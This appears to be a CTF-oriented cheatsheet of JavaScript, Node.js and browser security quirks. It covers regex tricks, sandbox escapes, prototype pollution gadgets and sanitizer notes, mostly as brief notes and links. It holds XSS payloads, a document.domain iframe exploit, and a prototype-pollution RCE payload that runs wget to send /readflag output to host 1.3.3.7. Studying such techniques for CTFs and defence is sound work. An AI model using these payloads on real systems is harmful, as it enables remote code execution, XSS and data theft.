---
# System prepended metadata

title: javascript???
tags: [cheatsheet]

---

---
title: 'javascript???'
tags: cheatsheet
---

:::spoiler TOC
[TOC]
:::

Javascript
===

## spec & impl
- 導讀
    - [how to validate javascriptknowledge by Huli](https://blog.huli.tw/2022/01/30/how-to-validate-javascript-knowledge/)
- spec
    - [ECMAScript](https://262.ecma-international.org/14.0/)
    - [Web Application APIs](https://wicg.github.io/controls-list/html-output/multipage/webappapis.html#webappapis)
    > multipage 和 one-page 內容有出入
- 實作
    - javascript engine: https://github.com/v8/v8/tree/master/src
    - javascript 語法解析: https://github.com/v8/v8/blob/master/src/parsing/scanner-inl.h

## Inspect

- Node.js prototype access
    - from [@maple3142](https://blog.maple3142.net/2023/09/17/seccon-ctf-2023-quals-writeups/#node-ppjail)
    - need to patch [v8 source code](https://github.com/v8/v8/blob/3f12c06ea0fadfd4a962fe6fd84693f01751a4f3/src/objects/js-objects.cc#L5264-L5274)
    ```
    let props = ''

    Object.prototype.__proto__ = new Proxy(
        { __proto__: null },
        {
            get: (target, prop, receiver) => {
                props += `GET ${prop}` + '\n'
                return Reflect.get(target, prop, receiver)
            },
            __proto__: null
        }
    )
    ```
    - for Deno
    ```
    const proxy = new Proxy(
	{},
	{
		get: (target, prop, receiver) => {
			console.log('get', prop)
			return Reflect.get(target, prop, receiver)
		}
	}
    )

    Object.setPrototypeOf(Function.prototype, proxy)
    Object.setPrototypeOf(Array.prototype, proxy)
    Object.setPrototypeOf(Error.prototype, proxy)
    Object.setPrototypeOf(String.prototype, proxy)
    Object.setPrototypeOf(Number.prototype, proxy)
    ```
## syntax

- Auto Semicolon Insertion (ASI)
    - https://slides.com/evanyou/semicolons#/18/0/0
    - https://cjihrig.com/automatic_semicolon_insertion
    - `+-[(/` + restricted production
    - 可以用來繞過一些黑名單


- [label](https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Statements/label)
  - ployglot 一些協議開頭`cid:a=123`
    ```
    a: //label
    a=123
    http:console.log(7122)
    ```
- [delete](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete)
  - limit space: `delete[this][0][attr] // euqal 'delete window.attr', [this] === [window]` 

### [Comments](https://262.ecma-international.org/14.0/#sec-comments)

- in ECMAScript spec
    - `//`
    - `/*`
- extended in v8
    - `<!--`
    - `-->`
- shebang
    - only work for first line`#! aaaaa`


### [Line Terminators](https://262.ecma-international.org/14.0/#sec-line-terminators)

- \u000a,\u000d,\u2028,\u2029
- `eval("alert\u2029(1)")`

## Comparison

- [The Abstract Equality Comparison Algorithm](https://262.ecma-international.org/5.1/#sec-11.9.3)
    ```
    console.log(NaN != NaN)
    console.log(undefined == undefined)
    console.log(null == null)
    console.log(typeof NaN == 'number')
    console.log(typeof null == 'object')
    console.log(+0 == -0)
    console.log(null == undefined)
    // Return true if x and y refer to the same object. Otherwise, return false.
    var a = {}, b = {}
    console.log(a != b)
    console.log((()=>{}) != (()=>{}))
    console.log(14 == '0xe') // 14 == Number('0xe')
    ```
- [SameValueZero](https://tc39.es/ecma262/multipage/abstract-operations.html#sec-samevaluezero)
    - if is number, use [`Number::sameValueZero`](https://tc39.es/ecma262/multipage/ecmascript-data-types-and-values.html#sec-numeric-types-number-sameValueZero)
    - [`Array.prototype.includes`](https://tc39.es/ecma262/multipage/indexed-collections.html#sec-array.prototype.includes)
    - `[NaN].includes(NaN) // true`
- [`IsStrictlyEqual`](https://tc39.es/ecma262/multipage/abstract-operations.html#sec-isstrictlyequal)
    1. If Type(x) is not Type(y), return false.
    2. If x is a Number, then
        a. Return [Number::equal(x, y)](https://tc39.es/ecma262/multipage/ecmascript-data-types-and-values.html#sec-numeric-types-number-equal).
    3. Return SameValueNonNumber(x, y).
- [Number::equal(x, y)](https://tc39.es/ecma262/multipage/ecmascript-data-types-and-values.html#sec-numeric-types-number-equal)
    - NaN != NaN
    - +0 == -0
- [Number::sameValue](https://tc39.es/ecma262/multipage/ecmascript-data-types-and-values.html#sec-numeric-types-number-sameValue)
    - NaN == NaN
    - +0 != -0

## Regex


- regex global matching [lastIndex](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex)，flag `g`(global) and `y`(sticky) is [stateful](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)
  ```
    const r = /cjiso/g
    r.exec('cjiso')
    console.log(r.lastIndex) // 5
    r.exec('cjiso') == null //true
  ```
- [dot match behavior](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/dotAll) flag `s`
    ```
    /{.*}/.test("{evil\u2026}") // false
    /{.*}/s.test("{evil\n}") // true
    ```
    > default `.` won't match below
    > U+000A LINE FEED (LF) ("\n")
    > U+000D CARRIAGE RETURN (CR) ("\r")
    > U+2028 LINE SEPARATOR
    > U+2029 PARAGRAPH SEPARATOR
- [Get the last matched string](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/input) `RegExp.$_`, `RegExp.input`
    ```
    /Flag/.test('Flag{a}')
    console.log(RegExp.input) // FLAG{a}
    ```
    - [Get the last matched part](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch) `RegExp['$&']`, `RegExp.lastMatch`
    ```
    var flag = 'Flag{aaa}'
    flag = flag.replace(/{.*}/,'$&') // FLAG{aaa}
    ```
- [Get the last parenthesized part](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastParen) `RegExp['$+']`,`RegExp.lastParen`
    ```
    /(Flag){(a.)+}/.test('Flag{abacad}')
    console.log(RegExp['$+']) // ad
    ```
- [Get left, right context of matched](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/rightContext) ```RegExp.['$`']``` (left) ```RegExp.["$'"]```(right)
    ```
    var tmpl = '<img a="{value}">'
    tmpl.replace('{value}',"$'<svg/onload=alert(1)>")
    ```
- [per line test](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/multiline) flag `m`
    ```
    /^bbb.*$/.test("aaaa\nbbbb") // false
    /^bbb.*$/m.test("aaaa\nbbbb") // true
    ```

- ref
    - https://blog.huli.tw/2022/04/14/javascript-string-regexp-magic/
  
## String

- substring
    - If indexStart is greater than indexEnd, then the effect of substring() is as if the two arguments were swapped.



## Function call

### create function


- `function aaa(){}`
- arrow function `()=>{}`
    - default as strict mode
- `new Function()`
    - =`(function anonymous(){})`

### Promise / async / await / then


- await object: 
```
a = {}
a.then = ()=>{console.log('jizzz')}
await a // call a.then
/* result
jizzz
// stuck
*/


a = {}
a.then = (cb)=>{console.log('jizzz');cb(123)}
await a 
/* result
jizzz
// return 123
*/
```

- exploit `then`
    - [GoogleCTF 2022 Web/HORKOS](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/)
    - React2Shell

### new Function

- `new Function(arg1, arg2, code)`
- arg logic
    - toString
    - split by `,`
    - indicate `new Function(["a,b","c"], "d","return a+b")` => `anonymous(a,b,c,d) {return a+b}`
    - lodash rce https://mushroom.cat/ctf/json-js-rce-lodash
- can assign default value `new Function("a=3", "return a")`, and lazy-evaluate when argument is `undefined`: `new Function("a=console.log(7122)", "")()`
- can comment `//`, newline...etc, cannot break the `)` boundary
### ES6 Default Parameters

- `function test(x = console.log("RCE")) { ... }` trigger when `x=undefined`

## event


- `securitypolicyviolation`


## devtool


- https://developer.chrome.com/docs/devtools/console/utilities/
- copy(object)
- monitor(function)
- getEventListeners(object)
- queryObjects(Constructor)
- undebug(function)
- $x(xpath)

## arguments

- `arguments.callee.caller.arguments`拿到外層函式的 `arguments`

## char/encoding

- `"ß".toUpperCase() // "SS"`
- `"İ".toLowerCase().length == 2`
- `"ﬃ".toUppserCase() == 'FFI'`
- `al\u0065rt(7122) // alert(7122)`
- `al\u{65}rt(7122) // al\u{65}rt(7122)`
- unicode escape sequences [Where can escape sequences be used](https://exploringjs.com/es6/ch_unicode.html#_where-can-escape-sequences-be-used)

## Realm & Scope

- https://github.com/weizman/awesome-JavaScript-realms-security/
![](https://hackmd.io/_uploads/ByWPiCXWT.png)
- 如果是 event handler ，context 是 `document`
    - `<svg/onload=eval(URL)>`


## Encode/Decode


- [jsfuck](http://www.jsfuck.com/)
    - 6 char `()+[]!`
    
- [Hieroglyphy](https://github.com/alcuadrado/hieroglyphy)
    - 8 char `()[]{}+!`

- [jjencode - Encode any JavaScript program using only symbols](https://utf-8.jp/public/jjencode.html)
    - 18 char`[]()!+,\"$.:;_{}~=`
    - https://www.leletool.com/tool/jjencode/

- [aaencode - Encode any JavaScript program to Japanese style emoticons (^_^)](https://utf-8.jp/public/aaencode.html)
    - https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html

## [iteration protocols](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols)

- https://262.ecma-international.org/#sec-iteratorclose
- pp 可以利用 `return`

## Error
- https://v8.dev/docs/stack-trace-api
- `Error.prepareStackTrace`
- TODO
- https://blog.maple3142.net/2023/09/17/seccon-ctf-2023-quals-writeups/#node-ppjail
- https://blog.maple3142.net/2022/02/07/dicectf-2022-writeups/#undefined
- https://github.com/aszx87410/blog/issues/107


## Bypass
- [Ways to alert(document.domain)](https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309)


## Misc
:::spoiler refs
- [x] https://blog.huli.tw/2022/03/14/javascript-number/
:::



- [isNaN](https://tc39.es/ecma262/multipage/global-object.html#sec-isnan-number) vs. [Number.isNaN](https://tc39.es/ecma262/multipage/numbers-and-dates.html#sec-number.isnan)
    ![](https://hackmd.io/_uploads/B1kWSuVYq.png)
    ```
    isNaN('abc') // true
    Number.isNaN('abc') // false
    ```

- `Object.hasOwn [ES2022] vs. Object.prototype.hasOwnProperty`
    - `obj.hasOwnProperty('prop')` 如果被覆蓋會出錯，用 `Object.hasOwn(obj,'prop')` 比較安全


- base64
    - 忽略非法字元和第一個 `=` 後內容
    - `Buffer.from('Y\xff   W..FhYWFhYgo= bbbb','base64').equals( Buffer.from('YWFhYWFhYgo','base64'))`


Nodejs
===

- [awesome-node.js](https://github.com/sindresorhus/awesome-nodejs)

## jail / VM escape
- cjs 模組載入 [source code](https://github.com/nodejs/node/blob/5572f8fca0cfc3a2120817ad1b9f18edff3af261/lib/internal/modules/cjs/loader.js)
- `new Function` 裡需要使用 `global.process.mainModule.constructor._load` 來做 `require`
- `import` 不在 `global` 裡，可繞過黑名單檢測
- cjs 執行時預處理被包在函式裡，所以 global return 不會出錯 [wrappers](https://github.com/nodejs/node/blob/5572f8fca0cfc3a2120817ad1b9f18edff3af261/lib/internal/modules/cjs/loader.js#L251-L254), 且包在 `vm` [wrapSafe](https://github.com/nodejs/node/blob/5572f8fca0cfc3a2120817ad1b9f18edff3af261/lib/internal/modules/cjs/loader.js#L1160-L1174)
    ```
    module.constructor.wrapper
    (function (export, require, module, __filename, __dirname) {
    console.log("Trying to reach");
    return;
    console.log("dead code");
    });
    ```
    ```
    #! node
    (function() {console.log(arguments.callee.caller.toString())})
    
    /*
    function (exports, require, module, __filename, __dirname) {


    (function(){return console.log(arguments.callee.caller.toString())})()


    }
    */
    
    所以
    (function() {return arguments.callee.caller.arguments[1]}) // require
    ```
- Function constructor `''.constructor.constructor`
- `module.require.main === process.mainModule`
- `process.mainModule.require`
- `module.constructor._load`
- `module.constructor.Module._load`
- `module.constructor.Module._cache`: 拿到載入的 user module
- 同 context 下汙染 prototype 蓋掉過濾檢查
- challenge
    - [SECCON2022 final CTF babybox](https://github.com/SECCON/SECCON2022_final_CTF/tree/main/jeopardy/web/babybox)


## SQLi

- [Finding an unseen SQL Injection by bypassing escape functions in mysqljs/mysql](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4): `username=admin&password[password]=1`

## native modules

- child_process
    - [maxBuffer default size 1024*1024](https://nodejs.org/dist/latest-v19.x/docs/api/child_process.html#child_processexecfilefile-args-options-callback)
        - [SECCON2022 easylfi2](https://github.com/SECCON/SECCON2022_final_CTF/tree/main/jeopardy/web/easylfi2)
    - prototype pollution to RCE


Browser
===

- https://github.com/chromium/chromium/tree/main/third_party/blink/renderer/core
## DOM

- 任何 Node element 都可以 traverse 到 `window`
    - [Node.ownerDocument](https://developer.mozilla.org/zh-TW/docs/Web/API/Node/ownerDocument): node access 頂層 document
    - [defaultView ](https://developer.mozilla.org/en-US/docs/Web/API/Document/defaultView): `document.defaultView` 指向 `window`
- `Node img`
    - innerHTML resolved before inserted DOM is triggered [ref](https://github.com/terjanq/Tiny-XSS-Payloads/blob/5e8603974ef878e1230ae05e7f79b9467d862e2c/payloads.js#L93)
    ```
    document.createElement('img').innerHTML =
    `<img/src=x onerror=alert(7122)>`
    ```
- `document.querySelector()`
    - return first match
- `document.URL`
- `document.cookie`
    - iframe 裡操作 document.cookie 是無效的，可以用來防止 document.cookie 被刪除
- [document.domain](https://developer.mozilla.org/en-US/docs/Web/API/Document/domain)
    - [will be immutable in chrome 106](https://developer.chrome.com/blog/immutable-document-domain/)
    - 只要兩個網站 document.domain 相同，就是 same-origin
    ```
    // https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
    document.domain='intigriti.io';
    a=document.createElement('iframe');
    a.src='https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][domain]=intigriti.io';
    document.body.appendChild(a);
    a.onload=function(){
      setTimeout(()=>{
        a.contentWindow.document.body.innerHTML='<style onload=alert(document.domain)>';
      // we need to change it back
        a.contentWindow.document.domain='challenge-0422.intigriti.io'
      },1000)
    }
    
    ```
    - firefox/chrome 允許 FQDN 和 SSL match，導致基於 `document.domain` 的檢查會被繞過（burpsuite 不允許）
        - 訪問 `https://www.cjis.ooo.`
        - `Host: www.cjis.ooo.`
        - `document.domain === 'www.cjis.ooo.'`
        - [0623 intigriti xss challenge](https://challenge-0623.intigriti.io/)
- `window.open`
    - [x] https://blog.huli.tw/2022/04/07/iframe-and-window-open/
        - 產生 named window 以及獲取 window reference
        ```
        <a target="">
        <form target="">
        <iframe name="">
        <object name="">
        <embed name="">
        window.open(url, name)
        ```
        - 偵測新開 window 的載入完成
            - 載入完成前 `window.origin` 會是原 window，載入後才改變
            - 利用禁止 cross origin property access 觸發 error 來偵測
            :::spoiler code
            ```javascript
            // From Huli
            var start = new Date()
            var win = window.open('https://blog.huli.tw')
            run()
            function run() {
              try {
                win.origin
                setTimeout(run, 60)
              } catch(err) {
                console.log('loaded', (new Date() - start), 'ms')
              }
            }
            ```
            :::
        - 偵測某個 name 的 window 是否存在
            :::spoiler code
            ```HTML
            <!-- From Huli -->
            <body>
              <a href="https://blog.huli.tw" target="blog">click</a>
              <button onclick="run()">run</button>
              <iframe
                name=f
                sandbox="allow-scripts allow-same-origin allow-popups-to-escape-sandbox allow-top-navigation">
              </iframe>
              <script>
                function run(){
                  var w = f.open('xxx://abcde', 'blog')
                  if (w) {
                    console.log('blog window exists')
                  } else {
                    console.log('blog window not exists')
                  }
                }
              </script>
            </body>
            ```
            :::
        
        
    - [ ] browsing context
        - 只有在同一 browsing context 才能 access 另一 target window 
- `location.ancestorOrigins`
    - 在 subframes 時可以獲得 ancester frame 的 origin 



Prototype Pollution
===

- 可以汙染 data attribute(data-*) e.g. `__proto__[sitekey]` 汙染 `data-sitekey`

## real world
- https://github.com/BlackFan/client-side-prototype-pollution
- [Web-CTF-Cheatsheet](https://github.com/w181496/Web-CTF-Cheatsheet#prototype-pollution)
- [Prototype Pollution to RCE](https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce)

## challenge
- [Revenge of Intigriti 0422 Challenge Author Writeup](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
- [Balsn CTF 2022 - 2linenodejs](https://gist.github.com/ginoah/e723a1babffae01ffa5149121776648c)


## ECMAScript

- `IteratorClose`
    ```
    @Ark
    Object.prototype.return = () => console.log(123)
    for (const x of [1]) {
        break  // this is important
    }
    ```
    ```
    @Ark
    Object.prototype.return = () => console.log(123)
    const [x] = [1]
    ```
 - `Error.prepareStackTrace`   

## Browser
- exploit `ownerDocument` or `defaultView` to traverse any value
- try access to `Object.prototype` or `Array.prototype`
- look carefully into `for ... in ` pattern
- find gadget chain in included package
## Node.js

- if `require` after pp
    - >=v15, set global variable for new require module via `contextExtensions`
    - gadget >= v14, from [tryself](https://github.com/nodejs/node/blob/5572f8fca0cfc3a2120817ad1b9f18edff3af261/lib/internal/modules/cjs/loader.js#L526-L531), [Balsn CTF 2022 - 2linenodejs](https://gist.github.com/ginoah/e723a1babffae01ffa5149121776648c)

    ```
    // __dirname 和 parent 不能有 package.json, 在多數情況下無法用
    {
       "__proto__":{
          "data":{
             "name":"./usage",
             "exports":"./preinstall.js"
          },
          "path":"/opt/yarn-v1.22.19/",
          "shell":"sh",
          "contextExtensions":[
             {
                "process":{
                   "env":{
                      "npm_config_global":"1",
                      "npm_execpath":""
                   },
                   "execPath":"wget\u0020http://1.3.3.7/?p=$(/readflag);echo"
                }
             }
          ],
       }
    }
    ```
    ```
    /* a.js */
    const a = {};
    a['__proto__']['data'] = { exports: './exp.js', name: './usage' }; 
    // name should equal to `require` module name
    // and it will load exp.js
    a['__proto__']['path'] = './';
    a['__proto__']['contextExtensions'] = [{ asd: 7122 }]; // work > v15
    require('./usage');
    
    /* b.js */
    console.log(asd)

    /* run */
    $ node a.js
     7122
    ```
    - [Node.js require() RCE复现](https://hujiekang.top/2022/10/11/NodeJS-require-RCE/)


- pp env : [Abusing Environment Variables](https://blog.p6.is/Abusing-Environment-Variables/), [HACKING WITH ENVIRONMENT VARIABLES](https://www.elttam.com/blog/env/), [我是如何利用环境变量注入执行任意命令](https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html)
- 2022 June pp spawn options ([commit](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)) 和 contextExtensions ([commit](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)) 被修掉，至少要有 options 傳入，否則會被設為 kEmptyObject
-  [`--import='data:text/javascript,console.log(1337)'`](https://portswigger.net/research/exploiting-prototype-pollution-in-node-without-the-filesystem?ref=weekly.infosecwriteups.com)

## jquery

- https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md
- 目前還有全版本(<=3.7.0)的 pp gadget
- [只要引入 v1/2 ，有 pp 就可以自動觸發 xss](https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md#xoff-jquery-all-versions)，因為套件會自動呼叫 `$(document).off()`
- 

## recaptcha

- 設定 sitekey `__proto__[sitekey]`，無效的 sitekey 也可以觸發


Package
===

## DOMPurify

- `DOMPurify.removed` 可以拿到移除內容
- 會註冊 `dompurify` trustedtype policy
- `a<style></style>` https://github.com/cure53/DOMPurify/issues/804
- 

## HTML Sanitizer API

- 只有 chrome 有實現
- config 可受 pp 攻擊 
- 當 `allowUnknownMarkup=true` 可以設置 data-* 和其他 atrribute
- 無法解析 script、iframe、非 HTML element (svg...)
- 無法解析 on-event
- 

## qs.js

- 使用的 `qs` 處理 query string 預設只會處理 1000 個， 傳送`'?'+'a=b'*1000+'waf=aaa'`時 `waf` 不會在 `req.query` 裡 [ref](https://github.com/ljharb/qs/blob/main/dist/qs.js#L60)
- 影響框架：`express...`
- 2022SECCONCTF - skipinx


## express

- [req.get referer & referrer both work](https://github.com/expressjs/express/blob/74beeac0718c928b4ba249aba3652c52fbe32ca8/lib/request.js#L77-L80)

## React.js


- 利用 `is` 屬性 XSS
    - https://blog.huli.tw/2022/04/10/picoctf-2022-writeup/


## puppeteer

> ref 
- 預設可以使用開新頁面 `window.open`
- `page.goto` 可以吃 javascript scheme，domain 是在當前頁面下
- 新版 chrome headless mode 可自動觸發下載
- `Page.click()` 實作上是計算座標後點擊，可被 click hijacking
- [without SOP to LFI](https://mizu.re/post/intigriti-october-2023-xss-challenge)
    - puppetter 預設開啟 devtools debug port, 30000 - 50000
    - 如果 `--disable-web-security`  關掉 SOP 的話可以直接爆 port 存取
    - debug port 可以開新頁面 `file://`
    - headless mode 預設觸發可以下載 `~/Downloads/xxxxx`
    - 惡意檔案可以讀取本地其他檔案並且跑 js
- 

## jquery

- 


Chrome Devtools Protocol(CDP)
===

> ref https://mizu.re/post/intigriti-october-2023-xss-challenge
- https://chromedevtools.github.io/devtools-protocol/
- leak target ID & port first
- PDF generation tool (chromium <= 114): https://bugs.chromium.org/p/chromium/issues/detail?id=1385982
- No sandbox headless chrome (chromium <= 116): https://bugs.chromium.org/p/chromium/issues/detail?id=1458911


Connection Pool
===
- https://blog.ryotak.net/post/dom-based-race-condition/


Chrome://
===
- https://0x44.xyz/blog/cve-2023-4369/

Anti-debugging
===

- https://github.com/weizman/awesome-javascript-anti-debugging


Code Audit
===

## Both

1. Run formatter to omit ASI problem 

## Frontend


## Backend


## sourcemap

- https://www.polarsignals.com/blog/posts/2025/11/04/javascript-source-maps-internals
- 3 format
    - [generatedColumn]
    - [generatedColumn, sourceFileIndex, sourceLine, sourceColumn]
    - [generatedColumn, sourceFileIndex, sourceLine, sourceColumn, nameIndex]
- `;` line feed
- VLQ encode
    - `[continue bit][data bit*4][sign bit]`
    - relative +7->111->1110(+7)->01110(no continue)->A

## WTF
- https://jsdate.wtf/